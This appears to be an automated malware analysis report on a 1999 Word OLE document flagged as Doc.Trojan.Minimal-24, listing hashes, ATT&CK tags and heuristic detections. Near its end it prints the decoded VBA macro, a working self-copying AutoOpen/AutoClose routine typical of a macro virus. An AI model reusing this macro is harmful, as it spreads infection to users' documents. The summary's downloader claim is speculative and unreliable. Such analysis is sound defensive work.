Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f70a6bb172eb9d2…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-05-31 22:02:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 00c139f581cfb46aa29a295f16147d9e SHA-1: c411bdbb7262cfea069d0971ed31031444ff5c99 SHA-256: 2f70a6bb172eb9d22305b3a94117d0b0dc7ba06e8298a48d6a1e03b351155733
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros. The AutoOpen and AutoClose macros are present, indicating an attempt to execute code upon document interaction. The `macros.bas` script contains logic to copy `AutoClose` to `AutoOpen` and vice-versa, and then saves the file, suggesting an attempt to ensure execution. While no direct download URL or payload is evident in the provided script, the presence of these auto-executing macros strongly suggests a downloader or droppper functionality.

Heuristics 5

  • ClamAV: Doc.Trojan.Minimal-24 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-24
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 549 bytes
SHA-256: b3d524d063026cac7008d3176bb28982d3fc872c447cae80fbdecbcd48547caa
Detection
ClamAV: Doc.Trojan.Minimal-24
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
On Error Resume Next
WordBasic.FileSaveAs Format:=1: WordBasic.MacroCopy "AutoClose", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "AutoClose"
WordBasic.FileSave
End Sub